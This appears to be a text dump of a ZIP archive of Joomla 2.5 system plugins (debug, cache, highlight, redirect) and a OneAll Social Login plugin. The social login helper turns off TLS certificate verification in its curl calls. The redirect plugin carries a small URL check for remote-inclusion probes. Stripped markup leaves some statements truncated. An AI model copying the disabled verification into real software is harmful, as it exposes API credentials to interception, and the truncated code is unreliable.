PK]y>\)system/languagefilter/.htaccessnuW+A Order allow,deny Deny from all PK]y>\V system/languagefilter/index.htmlnuW+A PK]y>\)system/debug/.htaccessnuW+A Order allow,deny Deny from all PK]y>\&__system/debug/debug.xmlnuW+A plg_system_debug Joomla! Project December 2006 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL admin@joomla.org www.joomla.org 2.5.0 PLG_DEBUG_XML_DESCRIPTION debug.php index.html en-GB.plg_system_debug.ini en-GB.plg_system_debug.sys.ini
PK]y>\/TPBPBsystem/debug/debug.phpnuW+Aparams->get('log-deprecated')) { JLog::addLogger(array('text_file' => 'deprecated.php'), JLog::ALL, array('deprecated')); } // Only if debugging or language debug is enabled if (JDEBUG || JFactory::getApplication()->getCfg('debug_lang')) { JFactory::getConfig()->set('gzip', 0); ob_start(); ob_implicit_flush(false); } $this->linkFormat = ini_get('xdebug.file_link_format'); } /** * Add the CSS for debug. We can't do this in the constructor because * stuff breaks. * * @return void * * @since 2.5 */ public function onAfterDispatch() { // Only if debugging or language debug is enabled if (JDEBUG || JFactory::getApplication()->getCfg('debug_lang')) { JHtml::_('stylesheet', 'cms/debug.css', array(), true); } } /** * Show the debug info * * @since 1.6 */ public function __destruct() { // Do not render if debugging or language debug is not enabled if (!JDEBUG && !JFactory::getApplication()->getCfg('debug_lang')) { return; } // Load the language $this->loadLanguage(); // Capture output $contents = ob_get_contents(); if ($contents) { ob_end_clean(); } // No debug for Safari and Chrome redirection if (strstr(strtolower($_SERVER['HTTP_USER_AGENT']), 'webkit') !== false && substr($contents, 0, 50) == ''; if (JDEBUG) { if (JError::getErrors()) { $html .= $this->display('errors'); } $html .= $this->display('session'); if ($this->params->get('profile', 1)) { $html .= $this->display('profile_information'); } if ($this->params->get('memory', 1)) { $html .= $this->display('memory_usage'); } if ($this->params->get('queries', 1)) { $html .= $this->display('queries'); } } if (JFactory::getApplication()->getCfg('debug_lang')) { if ($this->params->get('language_errorfiles', 1)) { $languageErrors = JFactory::getLanguage()->getErrorFiles(); $html .= $this->display('language_files_in_error', $languageErrors); } if ($this->params->get('language_files', 1)) { $html .= $this->display('language_files_loaded'); } if ($this->params->get('language_strings')) { $html .= $this->display('untranslated_strings'); } } $html .= ''; echo str_replace('', $html . '', $contents); } /** * General display method. * * @param string $item The item to display * @param array $errors Errors occured during execution * * @return string * * @since 2.5 */ protected function display($item, array $errors = array()) { $title = JText::_('PLG_DEBUG_' . strtoupper($item)); $status = ''; if (count($errors)) { $status = ' dbgerror'; } $fncName = 'display' . ucfirst(str_replace('_', '', $item)); if (!method_exists($this, $fncName)) { return __METHOD__ . ' -- Unknown method: ' . $fncName . '
'; } $html = ''; $js = "toggleContainer('dbgContainer" . $item . "');"; $class = 'dbgHeader' . $status; $html .= ''; // @todo set with js.. ? $style = ' style="display: none;"'; $html .= '
'; $html .= $this->$fncName(); $html .= '
'; return $html; } /** * Display session information. * * Called recursive. * * @param string $key A session key * @param mixed $session The session array, initially null * @param integer $id The id is used for JS toggling the div * * @return string * * @since 2.5 */ protected function displaySession($key = '', $session = null, $id = 0) { if (!$session) { $session = $_SESSION; } static $html = ''; static $id; if (!is_array($session)) { $html .= $key . ' ⇒' . $session . PHP_EOL; } else { foreach ($session as $sKey => $entries) { $display = true; if (is_array($entries) && $entries) { $display = false; } if (is_object($entries)) { $o = JArrayHelper::fromObject($entries); if ($o) { $entries = $o; $display = false; } } if (!$display) { $js = "toggleContainer('dbgContainer_session" . $id . "');"; $html .= ''; // @todo set with js.. ? $style = ' style="display: none;"'; $html .= '
'; $id ++; // Recurse... $this->displaySession($sKey, $entries, $id); $html .= '
'; continue; } if (is_array($entries)) { $entries = implode($entries); } if (is_string($entries)) { $html .= ''; $html .= $sKey . ' ⇒ ' . $entries . '
'; $html .= '
'; } } } return $html; } /** * Display errors. * * @return string * * @since 2.5 */ protected function displayErrors() { $html = ''; $html .= '
    '; while ($error = JError::getError(true)) { $col = (E_WARNING == $error->get('level')) ? 'red' : 'orange'; $html .= '
  1. '; $html .= '' . $error->getMessage() . '
    '; $info = $error->get('info'); if ($info) { $html .= '
    ' . print_r($info, true) . '

    '; } $html .= $this->renderBacktrace($error); $html .= '
  2. '; } $html .= '
'; return $html; } /** * Display profile information. * * @return string * * @since 2.5 */ protected function displayProfileInformation() { $html = ''; foreach (JProfiler::getInstance('Application')->getBuffer() as $mark) { $html .= '
' . $mark . '
'; } return $html; } /** * Display memory usage * * @return string * * @since 2.5 */ protected function displayMemoryUsage() { $html = ''; $bytes = JProfiler::getInstance('Application')->getMemory(); $html .= ''; $html .= JHtml::_('number.bytes', $bytes); $html .= ' (' . number_format($bytes) . ' Bytes)'; $html .= ''; return $html; } /** * Display logged queries. * * @return string * * @since 2.5 */ protected function displayQueries() { $db = JFactory::getDbo(); $log = $db->getLog(); if ( ! $log) { return; } $html = ''; $html .= '

' . JText::sprintf('PLG_DEBUG_QUERIES_LOGGED', $db->getCount()) . '

'; $html .= '
    '; $selectQueryTypeTicker = array(); $otherQueryTypeTicker = array(); foreach ($log as $k => $sql) { // Start Query Type Ticker Additions $fromStart = stripos($sql, 'from'); $whereStart = stripos($sql, 'where', $fromStart); if ($whereStart === false) { $whereStart = stripos($sql, 'order by', $fromStart); } if ($whereStart === false) { $whereStart = strlen($sql) - 1; } $fromString = substr($sql, 0, $whereStart); $fromString = str_replace("\t", " ", $fromString); $fromString = str_replace("\n", " ", $fromString); $fromString = trim($fromString); // Initialize the select/other query type counts the first time: if (!isset($selectQueryTypeTicker[$fromString])) { $selectQueryTypeTicker[$fromString] = 0; } if (!isset($otherQueryTypeTicker[$fromString])) { $otherQueryTypeTicker[$fromString] = 0; } // Increment the count: if (stripos($sql, 'select') === 0) { $selectQueryTypeTicker[$fromString] = $selectQueryTypeTicker[$fromString] + 1; unset($otherQueryTypeTicker[$fromString]); } else { $otherQueryTypeTicker[$fromString] = $otherQueryTypeTicker[$fromString] + 1; unset($selectQueryTypeTicker[$fromString]); } $text = $this->highlightQuery($sql); $html .= '
  1. ' . $text . '
  2. '; } $html .= '
'; if (!$this->params->get('query_types', 1)) { return $html; } // Get the totals for the query types: $totalSelectQueryTypes = count($selectQueryTypeTicker); $totalOtherQueryTypes = count($otherQueryTypeTicker); $totalQueryTypes = $totalSelectQueryTypes + $totalOtherQueryTypes; $html .= '

' . JText::sprintf('PLG_DEBUG_QUERY_TYPES_LOGGED', $totalQueryTypes) . '

'; if ($totalSelectQueryTypes) { $html .= '
' . JText::sprintf('PLG_DEBUG_SELECT_QUERIES') . '
'; arsort($selectQueryTypeTicker); $html .= '
    '; foreach ($selectQueryTypeTicker as $query => $occurrences) { $html .= '
  1. ' . JText::sprintf('PLG_DEBUG_QUERY_TYPE_AND_OCCURRENCES', $this->highlightQuery($query), $occurrences) . '
  2. '; } $html .= '
'; } if ($totalOtherQueryTypes) { $html .= '
' . JText::sprintf('PLG_DEBUG_OTHER_QUERIES') . '
'; arsort($otherQueryTypeTicker); $html .= '
    '; foreach ($otherQueryTypeTicker as $query => $occurrences) { $html .= '
  1. ' . JText::sprintf('PLG_DEBUG_QUERY_TYPE_AND_OCCURRENCES', $this->highlightQuery($query), $occurrences) . '
  2. '; } $html .= '
'; } return $html; } /** * Displays errors in language files. * * @return string * * @since 2.5 */ protected function displayLanguageFilesInError() { $html = ''; $errorfiles = JFactory::getLanguage()->getErrorFiles(); if (!count($errorfiles)) { $html .= '

' . JText::_('JNONE') . '

'; return $html; } $html .= '
    '; foreach ($errorfiles as $file => $error) { $html .= '
  • ' . $this->formatLink($file) . str_replace($file, '', $error) . '
  • '; } $html .= '
'; return $html; } /** * Display loaded language files. * * @return string * * @since 2.5 */ protected function displayLanguageFilesLoaded() { $html = ''; $html .= '
    '; foreach (JFactory::getLanguage()->getPaths() as $extension => $files) { foreach ($files as $file => $status) { $html .= '
  • '; $html .= ($status) ? JText::_('PLG_DEBUG_LANG_LOADED') : JText::_('PLG_DEBUG_LANG_NOT_LOADED'); $html .= ' : '; $html .= $this->formatLink($file); $html .= '
  • '; } } $html .= '
'; return $html; } /** * Display untranslated language strings. * * @return string * * @since 2.5 */ protected function displayUntranslatedStrings() { $stripFirst = $this->params->get('strip-first'); $stripPref = $this->params->get('strip-prefix'); $stripSuff = $this->params->get('strip-suffix'); $orphans = JFactory::getLanguage()->getOrphans(); $html = ''; if ( ! count($orphans)) { $html .= '

' . JText::_('JNONE') . '

'; return $html; } ksort($orphans, SORT_STRING); $guesses = array(); foreach ($orphans as $key => $occurance) { if (is_array($occurance) && isset($occurance[0])) { $info = $occurance[0]; $file = ($info['file']) ? $info['file'] : ''; if (!isset($guesses[$file])) { $guesses[$file] = array(); } // Prepare the key if (($pos = strpos($info['string'], '=')) > 0) { $parts = explode('=', $info['string']); $key = $parts[0]; $guess = $parts[1]; } else { $guess = str_replace('_', ' ', $info['string']); if ($stripFirst) { $parts = explode(' ', $guess); if (count($parts) > 1) { array_shift($parts); $guess = implode(' ', $parts); } } $guess = trim($guess); if ($stripPref) { $guess = trim(preg_replace(chr(1) . '^' . $stripPref . chr(1) . 'i', '', $guess)); } if ($stripSuff) { $guess = trim(preg_replace(chr(1) . $stripSuff . '$' . chr(1) . 'i', '', $guess)); } } $key = trim(strtoupper($key)); $key = preg_replace('#\s+#', '_', $key); $key = preg_replace('#\W#', '', $key); // Prepare the text $guesses[$file][] = $key . '="' . $guess . '"'; } } foreach ($guesses as $file => $keys) { $html .= "\n\n# " . ($file ? $this->formatLink($file) : JText::_('PLG_DEBUG_UNKNOWN_FILE')) . "\n\n"; $html .= implode("\n", $keys); } return '
' . $html . '
'; } /** * Simple highlight for SQL queries. * * @param string $sql The query to highlight * * @return string * * @since 2.5 */ protected function highlightQuery($sql) { $newlineKeywords = '#\b(FROM|LEFT|INNER|OUTER|WHERE|SET|VALUES|ORDER|GROUP|HAVING|LIMIT|ON|AND|CASE)\b#i'; $sql = htmlspecialchars($sql, ENT_QUOTES); $sql = preg_replace($newlineKeywords, '
  \\0', $sql); $regex = array( // Tables are identified by the prefix '/(=)/' => '$1', // All uppercase words have a special meaning '/(?)([A-Z_]{2,})(?!\w)/x' => '$1', // Tables are identified by the prefix '/(' . JFactory::getDbo()->getPrefix() . '[a-z_0-9]+)/' => '$1' ); $sql = preg_replace(array_keys($regex), array_values($regex), $sql); $sql = str_replace('*', '*', $sql); return $sql; } /** * Render the backtrace. * * Stolen from JError to prevent it's removal. * * @param integer $error The error * * @return string Contents of the backtrace * * @since 2.5 */ protected function renderBacktrace($error) { $backtrace = $error->getTrace(); $html = ''; if (is_array($backtrace)) { $j = 1; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; for ($i = count($backtrace) - 1; $i >= 0; $i--) { $link = ' '; if (isset($backtrace[$i]['file'])) { $link = $this->formatLink($backtrace[$i]['file'], $backtrace[$i]['line']); } $html .= ''; $html .= ''; if (isset($backtrace[$i]['class'])) { $html .= ''; } else { $html .= ''; } $html .= ''; $html .= ''; $j++; } $html .= '
Call stack
#FunctionLocation
' . $j . '' . $backtrace[$i]['class'] . $backtrace[$i]['type'] . $backtrace[$i]['function'] . '()' . $backtrace[$i]['function'] . '()' . $link . '
'; } return $html; } /** * Replaces the Joomla! root with "JROOT" to improve readability. * Formats a link with a special value xdebug.file_link_format * from the php.ini file. * * @param string $file The full path to the file. * @param string $line The line number. * * @return string * * @since 2.5 */ protected function formatLink($file, $line = '') { $link = str_replace(JPATH_ROOT, 'JROOT', $file); $link .= ($line) ? ':' . $line : ''; if ($this->linkFormat) { $href = $this->linkFormat; $href = str_replace('%f', $file, $href); $href = str_replace('%l', $line, $href); $html = '' . $link . ''; } else { $html = $link; } return $html; } } PK]y>\Vsystem/debug/index.htmlnuW+A PK]y>\)system/cache/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Vsystem/cache/index.htmlnuW+A PK]y>\|system/cache/cache.phpnuW+A 'page', 'browsercache' => $this->params->get('browsercache', false), 'caching' => false, ); $this->_cache = JCache::getInstance('page', $options); } /** * Converting the site URL to fit to the HTTP request * */ function onAfterInitialise() { global $_PROFILER; $app = JFactory::getApplication(); $user = JFactory::getUser(); if ($app->isAdmin() || JDEBUG) { return; } if (count($app->getMessageQueue())) { return; } if ($user->get('guest') && $_SERVER['REQUEST_METHOD'] == 'GET') { $this->_cache->setCaching(true); } $data = $this->_cache->get(); if ($data !== false) { JResponse::setBody($data); echo JResponse::toString($app->getCfg('gzip')); if (JDEBUG) { $_PROFILER->mark('afterCache'); echo implode('', $_PROFILER->getBuffer()); } $app->close(); } } function onAfterRender() { $app = JFactory::getApplication(); if ($app->isAdmin() || JDEBUG) { return; } if (count($app->getMessageQueue())) { return; } $user = JFactory::getUser(); if ($user->get('guest')) { //We need to check again here, because auto-login plugins have not been fired before the first aid check $this->_cache->store(); } } } PK]y>\8system/cache/cache.xmlnuW+A plg_system_cache Joomla! Project February 2007 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_CACHE_XML_DESCRIPTION cache.php index.html en-GB.plg_system_cache.ini en-GB.plg_system_cache.sys.ini
PK]y>\4ϙsystem/highlight/highlight.xmlnuW+A plg_system_highlight Joomla! Project August 2011 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_SYSTEM_HIGHLIGHT_XML_DESCRIPTION script.php highlight.php index.html media language/en-GB/en-GB.plg_system_highlight.ini language/en-GB/en-GB.plg_system_highlight.sys.ini PK]y>\qM3system/highlight/highlight.phpnuW+AisAdmin()) { return true; } // Set the variables $input = JFactory::getApplication()->input; $extension = $input->get('option', '', 'cmd'); // Check if the highlighter is enabled. if (!JComponentHelper::getParams($extension)->get('highlight_terms', 1)) { return true; } // Check if the highlighter should be activated in this environment. if (JFactory::getDocument()->getType() !== 'html' || $input->get('tmpl', '', 'cmd') === 'component') { return true; } // Get the terms to highlight from the request. $terms = $input->request->get('highlight', null, 'base64'); $terms = $terms ? json_decode(base64_decode($terms)) : null; // Check the terms. if (empty($terms)) { return true; } // Clean the terms array $filter = JFilterInput::getInstance(); $cleanTerms = array(); foreach ($terms as $term) { $cleanTerms[] = htmlspecialchars($filter->clean($term, 'string')); } // Activate the highlighter. JHtml::_('behavior.highlighter', $cleanTerms); // Adjust the component buffer. $doc = JFactory::getDocument(); $buf = $doc->getBuffer('component'); $buf = '
' . $buf . '
'; $doc->setBuffer($buf, 'component'); return true; } } PK]y>\6system/highlight/index.htmlnuW+APK]y>\)system/highlight/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Vsystem/redirect/index.htmlnuW+A PK]y>\ VL44system/redirect/redirect.phpnuW+AisAdmin() and ($error->getCode() == 404)) { // Get the full current URI. $uri = JURI::getInstance(); $current = $uri->toString(array('scheme', 'host', 'port', 'path', 'query', 'fragment')); // Attempt to ignore idiots. if ((strpos($current, 'mosConfig_') !== false) || (strpos($current, '=http://') !== false)) { // Render the error page. JError::customErrorPage($error); } // See if the current url exists in the database as a redirect. $db = JFactory::getDBO(); $db->setQuery( 'SELECT '.$db->quoteName('new_url').', '.$db->quoteName('published'). ' FROM '.$db->quoteName('#__redirect_links') . ' WHERE '.$db->quoteName('old_url').' = '.$db->quote($current), 0, 1 ); $link = $db->loadObject(); // If no published redirect was found try with the server-relative URL if (!$link or ($link->published != 1)) { $currRel = $uri->toString(array('path', 'query', 'fragment')); $db->setQuery( 'SELECT ' . $db->quoteName('new_url') . ', ' . $db->quoteName('published') . ' FROM ' . $db->quoteName('#__redirect_links') . ' WHERE ' . $db->quoteName('old_url') . ' = ' . $db->quote($currRel), 0, 1 ); $link = $db->loadObject(); } // If a redirect exists and is published, permanently redirect. if ($link and ($link->published == 1)) { $app->redirect($link->new_url, null, null, true, false); } else { $referer = empty($_SERVER['HTTP_REFERER']) ? '' : $_SERVER['HTTP_REFERER']; $db->setQuery('SELECT id FROM ' . $db->quoteName('#__redirect_links') . ' WHERE old_url= ' . $db->quote($current)); $res = $db->loadResult(); if(!$res) { // If not, add the new url to the database. $query = $db->getQuery(true); $query->insert($db->quoteName('#__redirect_links'), false); $columns = array( $db->quoteName('old_url'), $db->quoteName('new_url'), $db->quoteName('referer'), $db->quoteName('comment'), $db->quoteName('hits'), $db->quoteName('published'), $db->quoteName('created_date') ); $query->columns($columns); $query->values($db->Quote($current). ', '. $db->Quote(''). ' ,'.$db->Quote($referer).', '.$db->Quote('').',1,0, '. $db->Quote(JFactory::getDate()->toSql()) ); $db->setQuery($query); $db->query(); } else { // Existing error url, increase hit counter $query = $db->getQuery(true); $query->update($db->quoteName('#__redirect_links')); $query->set($db->quoteName('hits').' = '.$db->quoteName('hits').' + 1'); $query->where('id = '.(int)$res); $db->setQuery((string)$query); $db->query(); } // Render the error page. JError::customErrorPage($error); } } else { // Render the error page. JError::customErrorPage($error); } } } PK]y>\8P::system/redirect/redirect.xmlnuW+A plg_system_redirect Joomla! Project April 2009 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_REDIRECT_XML_DESCRIPTION redirect.php index.html en-GB.plg_system_redirect.ini en-GB.plg_system_redirect.sys.ini PK]y>\)system/redirect/.htaccessnuW+A Order allow,deny Deny from all PK]y>\ѷm"system/sociallogin/sociallogin.xmlnuW+A System - Social Login Open Source License, GPL v2 based OneAll LLC support@oneall.com http://www.oneall.com 2011-11-16 2011 - 2013, OneAll LLC 1.6 The plugin handles the authentication process through a social network account.

Visit us: OneAll Social Media Integration
Get Support: http://www.oneall.com/company/contact-us/ ]]>
sociallogin.php index.html helper.php
PK]y>\ڬ(("system/sociallogin/sociallogin.phpnuW+Aresponse->result->data->user->identity; $user_token = $social_data->response->result->data->user->user_token; //Identity $user_identity_id = $identity->id; $user_identity_provider = $identity->source->name; //***** Firstname ***** if (isset ($identity->name->givenName) AND !empty ($identity->name->givenName)) { $user_first_name = $identity->name->givenName; } elseif (isset ($identity->preferredUsername)) { $user_first_name = $identity->preferredUsername; } else { $user_first_name = 'noname'; } //***** Lastname ***** if (isset ($identity->name->familyName) AND !empty ($identity->name->familyName)) { $user_last_name = $identity->name->familyName; } else { $user_last_name = ''; } //***** Fullname ***** if (!empty ($identity->name->formatted)) { $user_full_name = $identity->name->formatted; } elseif (!empty ($identity->name->displayName)) { $user_full_name = $identity->name->displayName; } else { $user_full_name = trim ($user_first_name . ' ' . $user_last_name); } //***** Email ***** $user_email = ''; if (property_exists ($identity, 'emails') AND is_array ($identity->emails)) { foreach ($identity->emails AS $email) { $user_email = $email->value; $user_email_is_verified = ($email->is_verified == '1'); } } //***** Thumbnail ***** if (property_exists ($identity, 'thumbnailUrl') AND !empty ($identity->thumbnailUrl)) { $user_thumbnail = trim ($identity->thumbnailUrl); } else { $user_thumbnail = ''; } //***** User Website ***** if (property_exists ($identity, 'profileUrl') AND !empty ($identity->profileUrl)) { $user_website = $identity->profileUrl; } elseif (property_exists ($identity, 'urls') AND !empty ($identity->urls [0]->value)) { $user_website = $identity->urls [0]->value; } else { $user_website = ''; } //***** Preferred Username ***** if (!empty ($identity->preferredUsername)) { $user_login = $identity->preferredUsername; } elseif (!empty ($identity->displayName)) { $user_login = $identity->displayName; } elseif (!empty ($identity->name->formatted)) { $user_login = $identity->name->formatted; } else { $user_login = ''; } // Get user by token $user_id = plgSystemSocialLoginHelper::getUserIdForToken ($user_token); //Not linked, try to link to existing account if (!is_numeric ($user_id)) { //Linking enabled? if (!empty ($settings ['link_verified_accounts'])) { //Only of email is verified if (!empty ($user_email) AND $user_email_is_verified === true) { //Read existing user if (($user_id_tmp = plgSystemSocialLoginHelper::getUserIdForEmail ($user_email)) !== false) { //Link user to token if (is_numeric ($user_id_tmp)) { if (plgSystemSocialLoginHelper::setUserIdForToken ($user_token, $user_id_tmp)) { $user_id = $user_id_tmp; } } } } } } //***** New User ***** if (!is_numeric ($user_id)) { //New user $new_user = true; // Get the com_user params jimport ('joomla.application.component.helper'); $usersParams = JComponentHelper::getParams ('com_users'); // If user registration is not allowed, show 403 not authorized. if ($usersParams->get ('allowUserRegistration') == '0' && !$usersParams->get ('override_allow_user_registration', 0)) { JError::raiseError (403, JText::_ ('User Registration Disabled')); return; } //Remove special characters $user_login = preg_replace ("#[<>\"'%;()& ]#i", '', $user_login); //Username must be greater than 1 character if (strlen (trim ($user_login)) < 2) { $user_login = $user_identity_provider . 'User'; } //Username must be unique if (plgSystemSocialLoginHelper::usernameExists ($user_login)) { $i = 1; $user_login_tmp = $user_login; do { $user_login_tmp = $user_login . ($i++); } while (plgSystemSocialLoginHelper::usernameExists ($user_login_tmp)); $user_login = $user_login_tmp; } //Email must be unique if (empty ($user_email) OR plgSystemSocialLoginHelper::useremailExists ($user_email)) { $user_email = plgSystemSocialLoginHelper::getRandomUseremail (); } //Get the ACL $acl = JFactory::getACL (); //Ggenerate a new JUser Object $user = JFactory::getUser (0); //Array for all user settings $data = array (); //Get the default usertype $defaultUserGroups = $usersParams->get ('new_usertype', 2); if (!$defaultUserGroups) { $defaultUserGroups = 'Registered'; } //Setup the "main" user information jimport ('joomla.user.helper'); $data ['name'] = $user_full_name; $data ['username'] = $user_login; $data ['email'] = $user_email; $data ['usertype'] = 'deprecated'; $data ['groups'] = array ( $defaultUserGroups ); $data ['registerDate'] = JFactory::getDate ()->toMySQL (); $data ['password'] = JUserHelper::genRandomPassword (); $data ['password2'] = $data ['password']; $data ['sendEmail'] = 0; $data ['block'] = 0; //Bind the data to the JUser Object if (!$user->bind ($data)) { JError::raiseWarning ('', JText::_ ('Could not bind data to user') . ': ' . JText::_ ($user->getError ())); return false; } //Save the user if (!$user->save ()) { JError::raiseWarning ('', JText::_ ('Could not create user') . ': ' . JText::_ ($user->getError ())); return false; } //Store userid $user_id = $user->get ('id'); //Link to token plgSystemSocialLoginHelper::setUserIdForToken ($user_token, $user_id); } //Returning user else { $new_user = false; } //Sucess if (isset ($user_id) AND is_numeric ($user_id) AND !empty ($user_id)) { //User exists $user = JFactory::getUser ($user_id); if (is_object ($user)) { // Get the user details. $db = JFactory::getDBO (); $db->setQuery ('SELECT `username` FROM `#__users` WHERE id = ' . $db->Quote ($user->get ('id'))); $result = $db->loadObject (); //Login user if (is_object ($result) AND property_exists ($result, 'username')) { JPluginHelper::importPlugin ('user'); //Setup return url for new users if ($new_user === true) { if (isset ($settings ['redirect_register_url']) AND strlen (trim ($settings ['redirect_register_url'])) > 0) { $session = JFactory::getSession (); $session->set ('redirect_url', trim ($settings ['redirect_register_url']), 'plg_sociallogin'); } } //Setup return url for returning users elseif ($new_user === false) { if (isset ($settings ['redirect_login_url']) AND strlen (trim ($settings ['redirect_login_url'])) > 0) { $session = JFactory::getSession (); $session->set ('redirect_url', trim ($settings ['redirect_login_url']), 'plg_sociallogin'); } } // Get the application. $app = JFactory::getApplication (); // The credentials are authenticated and user is authorised. Fire the onLogin event. $result = $app->triggerEvent ('onUserLogin', array ( array ( 'username' => $result->username ), array ( 'action' => 'core.login.site' ) )); //Done return true; } } } } } /** * Check for token */ function onAfterInitialise () { //Check if we have a connection token if (isset ($_POST) AND !empty ($_POST ['oa_action']) AND $_POST ['oa_action'] == 'social_login' AND !empty ($_POST ['connection_token'])) { $this->doAuth ($_POST ['connection_token']); } } /** * Redirect if necessary */ public function onAfterRoute () { //Read session $session = JFactory::getSession (); //Check for uri $redirect_url = $session->get ('redirect_url', null, 'plg_sociallogin'); if (!empty ($redirect_url)) { //Clear uri $session->clear ('redirect_url', 'plg_sociallogin'); //Redirect $app = JFactory::getApplication (); $app->redirect ($redirect_url); } } } PK]y>\#o,,system/sociallogin/index.htmlnuW+APK]y>\)system/sociallogin/.htaccessnuW+A Order allow,deny Deny from all PK]y>\1 &&system/sociallogin/helper.phpnuW+Aquote ($username); $db->setQuery ($sql); $user_id = $db->loadResult (); //Done return (!empty ($user_id) AND is_numeric ($user_id)); } /** * Check if the given email exists */ public static function useremailExists ($email) { //Database handler $db = JFactory::getDBO (); //Get user for email $sql = "SELECT id FROM #__users WHERE email = " . $db->quote ($email); $db->setQuery ($sql); $user_id = $db->loadResult (); //Done return (!empty ($user_id) AND is_numeric ($user_id)); } /** * Create random email */ public static function getRandomUseremail () { //Create unique email do { $email = md5 (uniqid (rand (10000, 99000))) . "@example.com"; } while (self::useremailExists ($email)); //Done return $email; } /** * Link token to userid */ public static function setUserIdForToken ($token, $user_id) { //Database handler $db = JFactory::getDBO (); //Remove $sql = "DELETE FROM #__oasl_user_mapping WHERE token = " . $db->quote ($token); $db->setQuery ($sql); if ($db->query ()) { //Add $sql = "INSERT INTO #__oasl_user_mapping SET token = " . $db->quote ($token) . ", user_id = " . $db->Quote ($user_id); $db->setQuery ($sql); if ($db->query ()) { return true; } } return false; } /** * Check if we have a userid for the given token */ public static function getUserIdForToken ($token) { //Database handler $db = JFactory::getDBO (); //Read user $sql = "SELECT u.ID FROM #__oasl_user_mapping AS um INNER JOIN #__users AS u ON (um.user_id=u.ID) WHERE um.token = " . $db->quote ($token); $db->setQuery ($sql); $user_id = $db->loadResult (); if ($user_id) { return $user_id; } return false; } /** * Get the userid for a given email */ public static function getUserIdForEmail ($email) { //Database handler $db = JFactory::getDBO (); //Read user $sql = "SELECT id FROM #__users WHERE email = " . $db->quote ($email); $db->setQuery ($sql); $user_id = $db->loadResult (); if ($user_id) { return $user_id; } return false; } /** * Make an API Request to obtain the data for a given connection_token */ public static function makeTokenLookup ($token) { //Read settings $settings = self::getSettings (); //API Settings $api_subdomain = (!empty ($settings ['api_subdomain']) ? $settings ['api_subdomain'] : ''); $api_key = (!empty ($settings ['api_key']) ? $settings ['api_key'] : ''); $api_secret = (!empty ($settings ['api_secret']) ? $settings ['api_secret'] : ''); //API Connection $api_connection_handler = ((!empty ($settings ['api_connection_handler']) AND $settings ['api_connection_handler'] == 'fsockopen') ? 'fsockopen' : 'curl'); $api_resource = 'https://' . $api_subdomain . '.api.oneall.com/connections/' . $token . '.json'; //Send request to the API $result = self::makeHttpRequest ($api_connection_handler, $api_resource, array ( 'api_key' => $api_key, 'api_secret' => $api_secret )); //Parse result if (is_object ($result) AND property_exists ($result, 'http_data') AND property_exists ($result, 'http_code') AND $result->http_code == 200) { //Result $json = $result->http_data; //Decode $json_decoded = @json_decode ($json); //Check format if (is_object ($json_decoded) AND !empty ($json_decoded->response->request->status->code) AND $json_decoded->response->request->status->code == 200) { $social_data = $json_decoded; } } return ((isset ($social_data) AND is_object ($social_data)) ? $social_data : null); } /** * Send a HTTP request by using the given handler */ public static function makeHttpRequest ($handler, $url, $options = array (), $timeout = 15) { //FSOCKOPEN if ($handler == 'fsockopen') { return self::makeFsockopenRequest ($url, $options, $timeout); } //CURL else { return self::makeCurlRequest ($url, $options, $timeout); } } /** * Send a HTTP request by using CURL */ public static function makeCurlRequest ($url, $options = array (), $timeout = 15) { //Store the result $result = new stdClass (); //Send request $curl = curl_init (); curl_setopt ($curl, CURLOPT_URL, $url); curl_setopt ($curl, CURLOPT_HEADER, 0); curl_setopt ($curl, CURLOPT_TIMEOUT, $timeout); curl_setopt ($curl, CURLOPT_VERBOSE, 0); curl_setopt ($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt ($curl, CURLOPT_SSL_VERIFYHOST, 0); // BASIC AUTH? if (isset ($options ['api_key']) AND isset ($options ['api_secret'])) { curl_setopt ($curl, CURLOPT_USERPWD, $options ['api_key'] . ":" . $options ['api_secret']); } //Make request if (($http_data = curl_exec ($curl)) !== false) { $result->http_code = curl_getinfo ($curl, CURLINFO_HTTP_CODE); $result->http_data = $http_data; $result->http_error = null; } else { $result->http_code = -1; $result->http_data = null; $result->http_error = curl_error ($curl); } //Done return $result; } /** * Send a HTTP request by using FSOCKOPEN */ public static function makeFsockopenRequest ($url, $options = array (), $timeout = 15) { //Store the result $result = new stdClass (); //Make that this is a valid URL if (($uri = parse_url ($url)) == false) { $result->http_code = -1; $result->http_data = null; $result->http_error = 'invalid_uri'; return $result; } //Make sure we can handle the schema switch ($uri ['scheme']) { case 'http': $port = (isset ($uri ['port']) ? $uri ['port'] : 80); $host = ($uri ['host'] . ($port != 80 ? ':' . $port : '')); $fp = @fsockopen ($uri ['host'], $port, $errno, $errstr, $timeout); break; case 'https': $port = (isset ($uri ['port']) ? $uri ['port'] : 443); $host = ($uri ['host'] . ($port != 443 ? ':' . $port : '')); $fp = @fsockopen ('ssl://' . $uri ['host'], $port, $errno, $errstr, $timeout); break; default: $result->http_code = -1; $result->http_data = null; $result->http_error = 'invalid_schema'; return $result; break; } //Make sure the socket opened properly if (!$fp) { $result->http_code = -$errno; $result->http_data = null; $result->http_error = trim ($errstr); return $result; } //Construct the path to act on $path = (isset ($uri ['path']) ? $uri ['path'] : '/'); if (isset ($uri ['query'])) { $path .= '?' . $uri ['query']; } //Create HTTP request $defaults = array ( 'Host' => "Host: $host", 'User-Agent' => 'User-Agent: OneAll Social Login Joomla (+http://www.oneall.com/)', ); // BASIC AUTH? if (isset ($options ['api_key']) AND isset ($options ['api_secret'])) { $defaults ['Authorization'] = 'Authorization: Basic ' . base64_encode ($options ['api_key'] . ":" . $options ['api_secret']); } //Build and send request $request = 'GET ' . $path . " HTTP/1.0\r\n"; $request .= implode ("\r\n", $defaults); $request .= "\r\n\r\n"; fwrite ($fp, $request); //Fetch response $response = ''; while (!feof ($fp)) { $response .= fread ($fp, 1024); } //Close connection fclose ($fp); 